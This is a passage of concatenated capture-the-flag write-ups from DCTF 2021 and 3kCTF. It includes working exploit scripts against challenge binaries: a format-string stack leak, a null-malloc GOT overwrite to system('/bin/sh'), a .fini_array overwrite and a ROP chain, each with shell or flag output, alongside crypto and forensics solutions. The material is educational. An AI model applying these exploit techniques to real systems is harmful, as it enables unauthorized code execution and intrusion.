not make sense, then click [here](https://github.com/datajerk/ctf-write-ups/blob/master/INDEX.md), scroll down to ROP, and start reading, perhaps start [here](https://github.com/datajerk/ctf-write-ups/blob/master/darkctf2020/roprop) or [here](https://github.com/datajerk/ctf-write-ups/tree/master/downunderctf2020/return_to_what) for nearly identical examples. Output: ```bash# ./exploit.py REMOTE=1[] '/pwd/datajerk/dctf2021/baby_bof/baby_bof' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to dctf-chall-baby-bof.westeurope.azurecontainer.io on port 7481: Done[] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[] puts: 0x7f0d964c25a0[] libc.address: 0x7f0d9643b000[*] Switching to interactive mode$ cat flag.txtdctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}```
# DCTF 2021 ## Readme > 150> > Read me to get the flag. > > `nc dctf-chall-readme.westeurope.azurecontainer.io 7481`>> [readme](readme) Tags: _pwn_ _x86-64_ _format-string_ ## Summary Classic leak the flag from the stack with `%p`. ## Analysis ### Decompile with Ghidra ```cvoid vuln(void){ FILE __stream; long in_FS_OFFSET; char local_58 [32]; char local_38 [40]; long local_10; local_10 = (long )(in_FS_OFFSET + 0x28); __stream = fopen("flag.txt","r"); fgets(local_58,0x1c,__stream); fclose(__stream); puts("hello, what\'s your name?"); fgets(local_38,0x1e,stdin); printf("hello "); printf(local_38); if (local_10 != (long )(in_FS_OFFSET + 0x28)) { // WARNING: Subroutine does not return __stack_chk_fail(); } return;}``` The `vuln` function reads `flag.txt` into a local (`local_58`) stack array. The vulnerability is the `printf(local_38)` statement that is missing a format string. Exfiltrating the flag is as simple as passing `%nn$p` format strings where `nn` is the position in the stack; starting from `6` just increment until the output starts with `dctf` (`nn` = `8`), then continue until you have the flag. If you're new to format-string exploits read this: [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf). ## Exploit ```bash#!/bin/bash for((p=8;p<12;p++)) { echo '%'$p'$p' \| \ nc dctf-chall-readme.westeurope.azurecontainer.io 7481 \| \ grep 'hello ' \| \ awk -Fx '{print $NF}' \| \ sed 's/.00//' \| \ xxd -r -p \| \ rev}echo '}'``` This `bash` script will `echo %8$p`, then `echo %9$p`, etc... into the challenge service serially (one by one), capturing the output (`grep`, `awk`), converting to text (`xxd`), and then finally reversing the string (`rev`, since x86_64 is little endian). > `sed` is used to detect end of string. Output: ```bash# ./exploit.shdctf{n0w_g0_r3ad_s0me_b00k5}```
# DCTF 2021 ## Just another heap > 500> > There are so many ways you can pwn this.> > `nc dctf-chall-just-another-heap.westeurope.azurecontainer.io 7481`>> [just\_another\_heap](just_another_heap) [Dockerfile](Dockerfile) Tags: _pwn_ _x86-64_ _malloc_ _null-pointer_ _heap_ _heap-not_ _write-what-where_ _got-overwrite_ ## Summary IMHO, the simplest [portable] way to pwn this was to use a null-pointer + offset to _write-what-where_ the GOT. ## Analysis ### Checksec ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)``` All of the pointers to the heap are in global arrays; the _no-PIE_ will be helpful for that; same goes for the GOT as well (Partial RELRO = GOT vulnerable to overwrite). ### Decompile with Ghidra > All naming done by hand, there was nothing for free here (except libc labels). ```c puts("name:"); uVar2 = local_38; pvVar3 = malloc(0x20); (void )(&memory_name_ptr_00602260 + uVar2 8) = pvVar3; prompt_fgets((undefined8 )(&memory_name_ptr_00602260 + local_38 * 8),0x10); lVar1 = (long )(&memory_name_ptr_00602260 + local_38 * 8); sVar4 = strcspn((char )(&memory_name_ptr_00602260 + local_38 8),"\n"); (undefined )(sVar4 + lVar1) = 0; puts("How long is your memory"); prompt_lu(&local_48); local_30 = malloc(local_48); puts("Sometimes our memories fade and we only remember parts of them."); prompt_lu(&local_40); puts("Would you like to leave some space at the beginning in case you remember later?"); if (local_48 < local_40) { puts("Invalid offset"); } else { if (local_30 != (void )0x0) { local_4c = 0; while ((ulong)(long)local_4c < local_40) { (undefined )((long)local_30 + (long)local_4c) = 0x5f; local_4c = local_4c + 1; } } local_30 = (void )((long)local_30 + local_40); fflush(stdin); puts("What would you like to write"); prompt_fgets(local_30,local_48 - local_40); puts("Would you say this memory is important to you? [Y/N]"); prompt_fgets(local_24,2);``` This section of the `create` function contains the _write-what-where_ that we'll use to setup a libc leak as well as overwrite the GOT for a shell. The `local_30 = malloc(local_48);` statement with a sufficiently large input (`local_48`) will fail and end up as zero (null), with the only check for this an initialization section (`if (local_30 != (void )0x0) {`). The `prompt_lu(&local_40);` statement sets our offset and is then used to compute the target address with: `local_30 = (void )((long)local_30 + local_40);`. The only input validation is `local_48 < local_40`; the length of the initial length must be greater than the offset (both inputs are `unsigned long`). With this, we can set the length (`local_48`) to `2*64 - 1`, and `malloc` will quietly fail setting `local_30` to `0`. This ends up with `local_40` containing the target location to overwrite. We have our _where_. The _what_ is provided by: `prompt_fgets(local_30,local_48 - local_40);`. `prompt_fgets` is just a frontend to `fgets`, however we need to leverage that `int param_2`: ```cvoid prompt_fgets(char param_1,int param_2){ printf("> "); fgets(param_1,param_2,stdin); return;}``` The `local_48 - local_40` passed to `fgets` is problematic, if `local_48` is very large [to get `malloc` to return a null], and `local_40` is relatively small (a valid address, say in the GOT (`0x600000` range)), then the difference will be very large, `fgets` will call `malloc` and that `malloc` will fail as well. To get a reasonable [small] input for `fgets` we need to find the right value of `local_48` reduced by `local_40` then _anded_ with `0xffffffff` (this is the `int param_2` from `prompt_fgets`; we are calling a function with an `unsigned long` as an input, however the function is expecting an `int` (32-bit), so we can assume only the lower 32-bits will be used). ```python264 - 232 + target + size``` You can work out the math yourself, but this will properly set `local_48` and `local_40` so that `malloc` nulls out, leaving our target address in `local_40` to satisfy the _where_ (`local_30 = (void )((long)local_30 + local_40);`), and `local_48 - local_40` will just end up something like `0xffffffff0000000a` that when reduced to 32-bits by `prompt_fgets` will be a `size` of `0xa` in this example. We have our _what_, now we just need a leak. ```c pvVar3 = malloc(0x20); (void *)(&memory_name_ptr_00602260 + uVar2 8) = pvVar3; prompt_fgets((undefined8 )(&memory_name_ptr_00602260 + local_38 * 8),0x10);``` At the start of `create` we're prompted for a _name_ that is malloc'd and then the pointer stored in a global array based at `0x602260`. To leak libc all we need to do is use our _write-what-where_ to change that pointer to point to some place in the GOT or BSS to pickup a libc leak. The `list` function emits the names and therefore our leak. > The libc version was provided in the form of a `Dockerfile`. I've included it (`libc.so.6`) as part of this writeup since a future update to Ubuntu 18.04 may change the version of libc. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./just_another_heap')binary.symbols['names'] = 0x602260 if args.REMOTE: p = remote('dctf-chall-just-another-heap.westeurope.azurecontainer.io', 7481) libc = ELF('./libc.so.6')else: import signal p = process(('stdbuf -i0 -o0 -e0 '+binary.path).split(),preexec_fn=lambda: signal.signal(signal.SIGALRM, signal.SIG_IGN)) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')``` Standard pwntools setup, however I added the symbol `names`, and have my local process ignoring SIGALRM. > No `setvbuf` in challenge binary, so I had to prepend `stdbuf`. ```pythonp.sendlineafter('> ','1')p.sendlineafter('> ','0')p.sendlineafter('> ','blah')p.sendlineafter('> ',str(264 - 232 + binary.sym.names + 10))p.sendlineafter('> ',str(binary.sym.names))p.sendlineafter('> ',p64(binary.got.puts))p.sendlineafter('> ','N')p.sendlineafter('> ','N')p.sendlineafter('> ','5') p.recvuntil('0: ')puts = u64(p.recv(6) + b'\0\0')log.info('puts: ' + hex(puts))libc.address = puts - libc.sym.putslog.info('libc.address: ' + hex(libc.address))``` Based on the analysis above this should be fairly clear. Just add an entry, name it `blah`, but immediately overwrite its pointer with the location of GOT `puts`, then `list` (`5`) and capture the leak. ```pythonp.sendlineafter('> ','1')p.sendlineafter('> ','1')p.sendlineafter('> ','blah')p.sendlineafter('> ',str(264 - 232 + binary.got.strcspn + 10))p.sendlineafter('> ',str(binary.got.strcspn))p.sendlineafter('> ',p64(libc.sym.system))p.sendlineafter('> ','N')p.sendlineafter('> ','N')``` Same as the previous, but this time change `strcspn` to `system` in the GOT. ```pythonp.sendlineafter('> ','1')p.sendlineafter('> ','2')p.sendlineafter('> ','/bin/sh')p.interactive()``` Finally, create a 3rd memory, but the `strcspn` that was used to replace the `\n` with `\0` is now `system`, so just ask for a shell as your _name_. Output: ```bash# ./exploit.py REMOTE=1[] '/pwd/datajerk/dctf2021/just_another_heap/just_another_heap' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to dctf-chall-just-another-heap.westeurope.azurecontainer.io on port 7481: Done[] '/pwd/datajerk/dctf2021/just_another_heap/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[] puts: 0x7fd942288aa0[] libc.address: 0x7fd942208000[*] Switching to interactive mode$ iduid=1000(pilot) gid=1000(pilot) groups=1000(pilot)$ cat flag.txtdctf{I_h4V3_0_id3a_h0W_y0u_G0T_h3r3}```
# Tiny interpreter ## Description We wrote an interpreter just so we can run our own binaries. Can you figure it out? [interpreter](interpreter) \[bin](bin) ## Solution Let's try to run the interpreter ```console$ chmod +x interpreter $ ./interpreter Usage:./interpreter <program you want to run>``` Ok, let's give the bin file as input ```$ ./interpreter binInterpreter_written_in_C_is_a_great_idea``` #### FLAG >> `dctf{Interpreter_written_in_C_is_a_great_idea}`
# sms Category: Crypto ## Challenge Challenge text: ```Doesn't every hash follow the sms protocol (substitute-mix-shift) ? Well, I think so! Therefore, I created my own hash function. nc sms.2021.3k.ctf.to 1337``` Attachment: [sms-d502d22d55f1cde3d8d078876eea4c3f.py](sms-d502d22d55f1cde3d8d078876eea4c3f.py) We are given the Python file that runs the remote service we can interact with via `netcat`, using the above IP/port pair. When we connect, we see an intro message and are asked to enter two of our own messages: ``` ____ __ __ ____ _ _ _ ____ _ _/ ___\|\| \/ / ___\| \| \| \| \| / \ / ___\|\| \| \| \|\___ \\| \|\/\| \___ \ _____\| \|_\| \| / _ \ \___ \\| \|_\| \| ___) \| \| \| \|___) \|_____\| _ \|/ ___ \ ___) \| _ \|\|____/\|_\| \|_\|____/ \|_\| \|_/_/ \_\____/\|_\| \|_\| Can you even Collide?First message : abcdSecond message : efgh``` where here I've entered `abcd` and `efgh` as two test messages. Let's dig into the provided Python file. We can see an array of integers, defined by their hex values, stored in `SBOX`, functions that manipulate the data, then the interaction code. First we see: ```pythonMSG1 = bytes.fromhex(input("First message : ").strip())MSG2 = bytes.fromhex(input("Second message : ").strip())``` The `bytes.fromhex` tells us that the input messages need to be hex format. Then the messages are run through the `pad` and `hash` functions, which perform manipulations on the input strings, storing the answers in `H1` and `H2`. ```pythonMSG1 = pad(MSG1)MSG2 = pad(MSG2) H1 = hash(MSG1)H2 = hash(MSG2)``` Finally, a set of `if/else` statements checks to make sure the initial messages were not the same. ```pythonif MSG1 == MSG2: print("Really ?")``` If they are not the same, but the resulting hashes are _also_ not the same, we again fail, producing the message `Not even close :(`. If the resulting hashes `H1` and `H2` are the same, and if they are both `0000000000000000`, the function reads in the flag file, and prints it to screen for us. This means our primary task is to make sure that the output of the `hash` function for our messages is `0000000000000000`. So let's get into the `hash` function and work backwards. ```pythondef hash(data): assert len(data) % 8 == 0 state = [2i-1 for i in range(1, 9)] for i in range(0, len(data), 8): block = data[i: i+8] state = sub(state) state = mix(block, state) state = shift(state) state = sub(state) return bytes(state).hex()``` `state` is cast to a list of type `bytes`, and then converted to hex. Each byte is represented by two hex characters, so if the hash function returns `0000000000000000`, `state = [0, 0, 0, 0, 0, 0, 0, 0]`: ```pythonIn [5]: bytes([0, 0, 0, 0, 0, 0, 0, 0]).hex()Out[5]: '0000000000000000'``` The last function that is run is `sub(state)`, so we need the output of this function to give us our array of `0`: `[0, 0, 0, 0, 0, 0, 0, 0]`. What does `sub` look like? ```pythondef sub(state): return [SBOX[x] for x in state]``` So `sub` grabs elements from the `SBOX` list. Since we need our output to have all `0`'s, which elements in `SBOX` are `0`? ```pythonIn [3]: import numpy as np In [4]: np.argwhere(np.array(SBOX)==0x0)Out[4]: array([[168]])``` Only one element has `0`, element `168`. So we need to send an array into `sub` that looks like `[168, 168, 168, 168, 168, 168, 168, 168]`: ```pythonIn [7]: sub([168, 168, 168, 168, 168, 168, 168, 168])Out[7]: [0, 0, 0, 0, 0, 0, 0, 0]``` Looking back to the start of the `hash` function, we see first that the `assert` statement means we must have an input data array in blocks of length 8. The `state` array is then initialized with the powers of 2 (minus 1): `[1, 3, 7, 15, 31, 63, 127, 255]`. Next we iterate through the data in blocks of length 8. For now, since we know at the _end_ of `hash` we need an array of length 8, let's assume there is a single block. We'll come back to this assumption towards the end. This allows us to ignore the loop for the moment, and assume each function is run once successively on the `state` array. Picking up where we left off towards the end of the function, we see that the `[168, 168, 168, 168, 168, 168, 168, 168]` must come out of the `shift` function. This function is a bit complicated, so let's put in a few test arrays and see what happens: ```pythonIn [10]: shift([1, 2, 3, 4, 5, 6, 7, 8])Out[10]: [10, 11, 12, 13, 14, 15, 0, 9] In [11]: shift([0, 1, 2, 3, 4, 5, 6, 7])Out[11]: [1, 2, 3, 4, 5, 6, 7, 0] In [12]: shift([2, 3, 4, 5, 6, 7, 8, 9])Out[12]: [3, 4, 5, 6, 7, 8, 9, 2] In [13]: shift([3, 4, 5, 6, 7, 8, 9, 10])Out[13]: [12, 13, 14, 15, 0, 1, 2, 11] In [14]: shift([4, 5, 6, 7, 8, 9, 10, 11])Out[14]: [5, 6, 7, 8, 9, 10, 11, 4] In [15]: shift([1, 1, 1, 1, 1, 1, 1, 1])Out[15]: [1, 1, 1, 1, 1, 1, 1, 1] In [16]: shift([2, 2, 2, 2, 2, 2, 2, 2])Out[16]: [2, 2, 2, 2, 2, 2, 2, 2]``` For arrays starting with an even number, it seems to rotate the array by 1, for odd the behavior is a bit more complicated, and when numbers are repeated, the output is the same as the input. Since we need `[168, 168, 168, 168, 168, 168, 168, 168]` as the output, if we have that as the input to the `shift` function, we should have the same output: ```pythonIn [18]: shift([168, 168, 168, 168, 168, 168, 168, 168])Out[18]: [168, 168, 168, 168, 168, 168, 168, 168]``` Continuing up the `hash` function, this means that the output of `mix(block, state)` must be `[168, 168, 168, 168, 168, 168, 168, 168]`. Looking at `mix`, we can see that it generates its output array by iterating through each element of `state`, and `XOR`ing it a few times. The first `XOR` uses the `[7-i]` byte from block, first `AND`s it with `0x1f` with is `00011111` in binary, so it's grabbing the last 5 bits of that block, then `XOR`ing with the current `state` value. The second `XOR` takes the `[i]` byte from block, `AND`s with `0xe0` which is `11100000` in binary, so it takes the first 3 bits of that block, then `XOR`s with the value of `state` from the previous line. So `mix` takes the `block` data input, and uses pairs to compute the new `state` value, i.e. `state[0]` depends on `block[7]` and `block[0]`, `state[1]` depends on `block[6]` and `block[1]`, etc. We could probably logic out what these need to be by thinking about the bits, but it's easier just to brute force the calculation. We know the input `state` to `mix` is determined by calling `sub` on the initial state array of `[1, 3, 7, 15, 31, 63, 127, 255]`, so `sub` transforms it to `[179, 148, 252, 147, 128, 234, 151, 117]` (using the integer representation of the hex numbers returned). So for `state[0] = 179`, after its new state is computed using `block[7]` and `block[0]`, we want `state[0] = 168`. Each block is a single byte, so it can take values ranging from `0` to `255`. So we can just check all possible combinations of `block[7]` and `block[0]` to see which give `168` as the output for `state[0]`. However, the calculation for `state[7]` _also_ uses `block[7]` and `block[0]`, so whatever pair we find for these two block elements, we'll need to make sure also works for the calculation for converting `state[7] = 117` to `state[7] = 168`. The code I wrote to do this brute force is: ```python# custom version of the function to make my brute force easierdef mixtest(block1, block2, state): state ^= block2 & 0x1f state ^= block1 & 0xe0 return state # the initial state arraystate = [2i-1 for i in range(1, 9)] # sub in the SBOX valuessubstate = sub(state) # an empty array to hold the integer values for the first blockblock1 = [0 for i in range(8)] # we only need to iterate through 4 indexes, since we'll determine the proper values# for block[i] and block[7-i] at the same timefor ind in range(4): # brute force of all possible block pairs for the current block[ind] block[7-ind] pair for i in range(255): for j in range(255): # we need to satisfy for both state[ind] and state[7-ind] currstate1 = mixtest(i, j, substate[ind]) currstate2 = mixtest(j, i, substate[7-ind]) if (currstate1 == 168) and (currstate2 == 168): block1[ind] = i block1[7-ind] = j print(block1) [29, 63, 66, 40, 59, 84, 60, 219]``` So this is the value for the first data block we need. Translating back to a hex string: ```python''.join([hex(x)[2:] for x in block1]) '1d3f42283b543cdb'```So this is the 8 byte (16 hex characters) string we need as input to `hash`. The last thing is to look at `pad`. We can see that it really just makes sure that our `MSG1` and `MSG2` are 8 bytes long, and zero pads the end if not. Our calculated data string is already 8 bytes long, so pad won't modify it. We can test: ```pythonMSG = '1d3f42283b543cdb'MSG = bytes.fromhex(MSG.strip()) MSG = pad(MSG) H = hash(MSG) print(H) '0000000000000000'``` Awesome, so we have a unique `MSG` that gives us the correct value. However, recall that the two messages must be unique. We've already found the one data combination that does it for a single 8 byte data block (you can check that each block pair is unique, there are not multiple solutions for each block pair). So we'll need a longer data input for `MSG2`. We know the output after the first data block, so let's start there and add another data block to `MSG2`, i.e. if `MSG1 = '1d3f42283b543cdb'`, then `MSG2 = '1d3f42283b543cdb????????????????'` and figure out the values of `?`s. So for this longer `MSG`, the `hash` function will iterate a second time. After the first iteration, `state = [168, 168, 168, 168, 168, 168, 168, 168]`. Run through `sub`, it will pick out the same element from `SBOX` at each position, so we get `state = [0, 0, 0, 0, 0, 0, 0, 0]`. This will be the `state` input to `mix`. Again, we know the output of `mix` must be `[168, 168, 168, 168, 168, 168, 168, 168]`, so we are trying to find the data block that will do this, to fill in the `?`. We can run the same brute force with our new state vector: ```python#state array after subbing in SBOX values from position 168substate2 = [0, 0, 0, 0, 0, 0, 0, 0] # second block we are trying to figure outblock2 = [0 for i in range(8)] # same brute force algorithm, with the new substate2for ind in range(4): for i in range(255): for j in range(255): currstate1 = mixtest(i, j, substate2[ind]) currstate2 = mixtest(j, i, substate2[7-ind]) if (currstate1 == 168) and (currstate2 == 168): block2[ind] = i block2[7-ind] = j print(block2) [168, 168, 168, 168, 168, 168, 168, 168]``` Translating to a hex string:```python''.join([hex(x)[2:] for x in block2]) 'a8a8a8a8a8a8a8a8'``` So `MSG2 = '1d3f42283b543cdba8a8a8a8a8a8a8a8'`. We can check this produces the correct hash: ```pythonMSG = '1d3f42283b543cdba8a8a8a8a8a8a8a8'MSG = bytes.fromhex(MSG.strip()) MSG = pad(MSG) H = hash(MSG) print(H) '0000000000000000'``` We use the provided `netcat` command to connect to the server, enter these two hex numbers, finally getting the flag: ``` ____ __ __ ____ _ _ _ ____ _ _/ ___\|\| \/ / ___\| \| \| \| \| / \ / ___\|\| \| \| \|\___ \\| \|\/\| \___ \ _____\| \|_\| \| / _ \ \___ \\| \|_\| \| ___) \| \| \| \|___) \|_____\| _ \|/ ___ \ ___) \| _ \|\|____/\|_\| \|_\|____/ \|_\| \|_/_/ \_\____/\|_\| \|_\| Can you even Collide?First message : 1d3f42283b543cdbSecond message : 1d3f42283b543cdba8a8a8a8a8a8a8a8H(MSG1) = 0000000000000000H(MSG2) = 0000000000000000Good job, Here's your reward:3k{1s_this_even_4_ha$h?_6b3c1686f7bf87}``` Flag: `3k{1s_this_even_4_ha$h?_6b3c1686f7bf87}`
## Powerpoint programmingA login page in powerpoint should be good enough, right?Flag is not in format. DCTF{ALL_CAPS_LETTERS_OR_NUMBERS}file:https://dctf.dragonsec.si/files/f34498994fc9cdf2752a5019c37a7b0b/chall.ppsx ## Solution:Initially i tried to open oit directly but the complete screec looks like some lockscreen page where there is keys and if we type the flag it gives correct or not.So next thing I did is to open the file in the PowerPoint. And it looks good now because now the screen isn't locked it like a editable ppsx. ![image](https://user-images.githubusercontent.com/78896740/118482768-d1245880-b732-11eb-8dc6-ede9653434c4.png) And now I opened the Animation plane to see the exact animation where we get the slide correct. In Animation there are many triggers and all dores the same job.(triggres after 86) ![image](https://user-images.githubusercontent.com/78896740/118482931-0761d800-b733-11eb-8be1-cf90f5666645.png) And I started pressing them manually and noted the flag. flag : `DCTF {PPT_1SNT_V3RY_S3CUR3_1S_1T}`
# DCTF 2021 ## Magic trick > 300> > How about a magic trick? > > `nc dctf-chall-magic-trick.westeurope.azurecontainer.io 7481`>> [magic\_trick](magic_trick) Tags: _pwn_ _x86-64_ _write-what-where_ ## Summary More like _old trick_. This is identical to [mindfield](https://github.com/datajerk/ctf-write-ups/tree/master/cyberapocalypsectf2021/mindfield) from 3 weeks back, so read that [writeup](https://github.com/datajerk/ctf-write-ups/tree/master/cyberapocalypsectf2021/mindfield). > This is why I minimize hardcoded values in my writeups; took me 30 seconds to solve with minor modifications to an existing solve. ## Exploit ```python#!/usr/bin/env python3 from pwn import * binary = context.binary = ELF('./magic_trick') if args.REMOTE: p = remote('dctf-chall-magic-trick.westeurope.azurecontainer.io', 7481)else: p = process(binary.path) p.sendlineafter('write\n', str(binary.sym.win))p.sendlineafter('it\n', str(binary.get_section_by_name('.fini_array').header.sh_addr))print(p.recvuntil('}').decode())``` Output: ```bash# ./exploit.py REMOTE=1[*] '/pwd/datajerk/dctf2021/magic_trick/magic_trick' Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)[+] Opening connection to dctf-chall-magic-trick.westeurope.azurecontainer.io on port 7481: DonethanksYou are a real magiciandctf{1_L1k3_M4G1c}```
# Hotel ROP In this challenge we are given a binary, `hotel_rop` and a link to a server running this binary. Running the file, we get the following output:```$ ./hotel_ropWelcome to Hotel ROP, on main street 0x5617508ca36dYou come here often?aI think you should come here more often.``` Running this multiple times, the number after "main street" keeps changing every time, but always ends with `36d`.As it always starts with `0x55` or `0x56`, I can assume that this is an address in the program itself and not the stack or heap or libc. Opening `hotel_rop` in Radare2 and seeking to `main`, I find immediately that `main` is at an offset of `0x136d`, so this address should be our `main` in the current program. Checking the security of the binary, I saw that it is a PIE, but without a stack canary. Thus, it's a candidate for buffer overflows and ROP. To find the offset for overflowing the buffer I just kept running `perl -e 'print "\x41"x40;'` with different multipliers until I got a segmentation fault. The correct offset is 40 bytes. Looking at `california` (offset `0x11dc`) and `silicon_valley` (offset `0x1283`) in Radare2, I notice that they write something to various offsets ofsome memory address called `win_land` in byte increments. Looking more closely, in `california` those bytes are "/", "b", "i" and "n", and in `silicon_valley` are "/", "s" and "h". As there is also a counter called `len` in the stack used for storing offsets, calling `california` then `silicon_valley` writes first `/bin`, then `/sh` to successive bytes in `win_land`, thus getting you the string `/bin/sh` to call `system("/bin/sh")` on. ![California](https://raw.githubusercontent.com/tacopeland/CTF-Writeups/main/dctf2021/Hotel%20ROP/california.png) ![Silicon Valley](https://raw.githubusercontent.com/tacopeland/CTF-Writeups/main/dctf2021/Hotel%20ROP/silicon_valley.png) Well, that was easy. Looking at the disassembly of the function `loss` in Radare2, I see that towards the end it runs `system(win_land)` if you pass a few complicated tests on the arguments to the function: ![Loss function](https://raw.githubusercontent.com/tacopeland/CTF-Writeups/main/dctf2021/Hotel ROP/loss.png) However, you can skip all these complicated tests and go right to the `lea rdi, obj.win_land` instruction at `0x11c3`, which puts `win_land` into the`rdi` register and calls `system()` with that as the argument. So, the plan is: get the base address of `main` from the first line, calculate the offsets of `california`, `silicon_valley` and `loss`, and use thisaddress to make a rop chain running those in order. Here is the code: ```pythonfrom pwn import * p = remote('dctf1-chall-hotel-rop.westeurope.azurecontainer.io', 7480) main_offset = 0x136dcalifornia_offset = 0x11dcsilicon_valley_offset = 0x1283system_offset = 0x11c3 p.recvuntil("street")base = int(p.recvline().strip(), 16) - main_offset california = p64(base + california_offset)silicon_valley = p64(base + silicon_valley_offset)system = p64(base + system_offset) p.recvuntil("often?\n")p.sendline((b'\x00'40) + california + silicon_valley + system)p.interactive()``` This pops a shell, and the flag is at `flag.txt`. As a side note, if you fill the 40 junk bytes before your ROP chain with anything but zeroes, the program says "I think you should come here more often.", and if you fill it with zeroes, the program says "Oh! You are already a regular visitor!"*
Download [https://dctf.dragonsec.si/files/965ff2b168f6cee4e065c84584a8da2d/nyan.pdf?token=eyJ1c2VyX2lkIjo2MDEsInRlYW1faWQiOjQ4OSwiZmlsZV9pZCI6MTkzfQ.YKNNDw.yilClSMhmFogAyblig04siTc1bI](http://) hint in the title Show us your ID<-----------hint strings nyan.pdf \| grep ID= " id="646374667b3362306261347d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c111 79.158325, 2015/09/10-01:10:20 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="E5DE28DC62AFBBA8D54ED4260CA8F582" xmpMM:InstanceID="xmp.iid:8d5ed2dc-16d8-4b7b-ab48-b50ceffc44db" xmpMM:OriginalDocumentID="E5DE28DC62AFBBA8D54ED4260CA8F582" dc:format="image/jpeg" photoshop:ColorMode="3" xmp:CreateDate="2017-06-29T11:36:29-04:00" xmp:ModifyDate="2017-06-29T11:37:31-04:00" xmp:MetadataDate="2017-06-29T11:37:31-04:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:8d5ed2dc-16d8-4b7b-ab48-b50ceffc44db" stEvt:when="2017-06-29T11:37:31-04:00" stEvt:softwareAgent="Adobe Photoshop CC 2015 (Macintosh)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> yes :)id="646374667b3362306261347d"?> "646374667b3362306261347d".decode("hex")'dctf{3b0ba4}'
# Behind The Scenes So we are greeted with an image: ![Pasted image 20210516215938](https://user-images.githubusercontent.com/70921512/118423490-7c81ce80-b69b-11eb-8f15-a40b9475977f.png) Look at it long enough, and you will see in the background a virtual machine running linux, with the 'password' in notepad. However, it's pixelated. At first I thought that it would be a challenge about somehow separating image layers packed into the png file. I thought this because if you run `zsteg` on the image you get, among other data: `xmp:CreatorTool=\"Pixelmator Pro 2.0.8` Googling says: ```## Pixelmator Pixelmator is a graphic editor developed for macOS by Lithuanian brothers Saulius and Aidas Dailide, and built upon a combination of open-source and macOS technologies. [Wikipedia](https://en.wikipedia.org/wiki/Pixelmator)``` However I was wrong. # Solution There is a tool named `Depix` which generates pixelated data of a set of characters, and compares it to your pixelated image and roughly replaces it with what it thinks are the letters. https://github.com/beurtschipper/Depix At first I was having some issues: ![unknown](https://user-images.githubusercontent.com/70921512/118423520-886d9080-b69b-11eb-8910-a3cf93db85ef.png) in that the outputted image was the same as the input. ![bts_cropped](https://user-images.githubusercontent.com/70921512/118423538-93c0bc00-b69b-11eb-9357-3f9af6169083.png) Eventually, it boiled down to having to crop the image pixel perfect: And we run it again to get a rough output: ![output](https://user-images.githubusercontent.com/70921512/118423548-9b806080-b69b-11eb-9da3-27364a531ac7.png) Which we can just figure out from context.
# julius-ancient-script - DCTF 2021 One of the easier crypto challenges of DCTF 2021 was "Julius' ancient script",where we are given the ciphertext `rq7t{7vH_rFH_vI6_pHH1_qI67}` and the prompt > I found this Ancient Roman papyrus. Could you decypher it for me? which together with the name of the challenge very obviously demonstrates thatthis is a Caesar cipher. The remaining information needed to decrypt thisciphertext is the cipher's shift and the alphabet. ## Finding the shift Since the flag starts with `dctf{` the cipher's shift is `+14` because`d` has byte value 100 and `r` has byte value 114. ## Finding the alphabet Simply using the classical alphabet (`a-z`) with the shift gives`dc7f{7hT_dRT_hU6_bTT1_cU67}` which is not correct.It is immediately apparent that the alphabet includes the digits(`0-9`) so we can use the alphabet with both ranges concatenated(`a-z0-9`). Note that the order of concatenation (`a-z0-9` or `0-9a-z`) does not matterbecause the alphabet is circular and the shift is actually a rotation,and in both cases `0` is immediately after `z` and `a` is immediately after `9`.Using this alphabet gives the flag ```dctf{th3_d13_h4s_b33n_c4st}``` which is "The die has been cast" ("Alea iacta est"), a famous saying byJulius Caesar when he crossed the Rubicon Riveragainst the Senate of Rome, which matches the background information we were givenand the title of the challenge.
# a-simple-sp-box - DCTF 2021 One of the crypto challenges of DCTF 2021 was "A Simple SP Box!", where we have the prompt: > It's just a simple SP-box, 150 tries should be enough for you. and the connection command `nc dctf1-chall-sp-box.westeurope.azurecontainer.io 8888`. ## What is the SP box? A [substitution-permutation network](https://en.wikipedia.org/wiki/Substitution%E2%80%93permutation_network)is a type of block cipher which > takes a block of the plaintext and the key as inputs,> and applies several alternating "rounds" or "layers" of substitution boxes (S-boxes)> and permutation boxes (P-boxes) to produce the ciphertext block. and looks like this: ![SP network](https://upload.wikimedia.org/wikipedia/commons/c/cd/SubstitutionPermutationNetwork2.png) so the SP box in this challenge is just one layer of such a network,a substitution cipher stage followed by a permutation stage.Some observations we can make about such a block cipher are: - It is length-preserving: entering a message of a suitable size for the cipher results ina ciphertext of the same size.- The permutation stage is weak: using only one SP box by itself means the permutation isjust a simple scramble of the output of the substition stage.- The substitution stage is weak: it is just a substitution cipher, which is easy tobreak. ## Connecting to the server Playing around with the server using netcat gives this dialogue: ```$ nc dctf1-chall-sp-box.westeurope.azurecontainer.io 8888Here's the flag, please decrypt it for me:4q553iUUe5p'X15'5gXs54iiSXx's51g2q$%Xe4752> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAThat doesn't 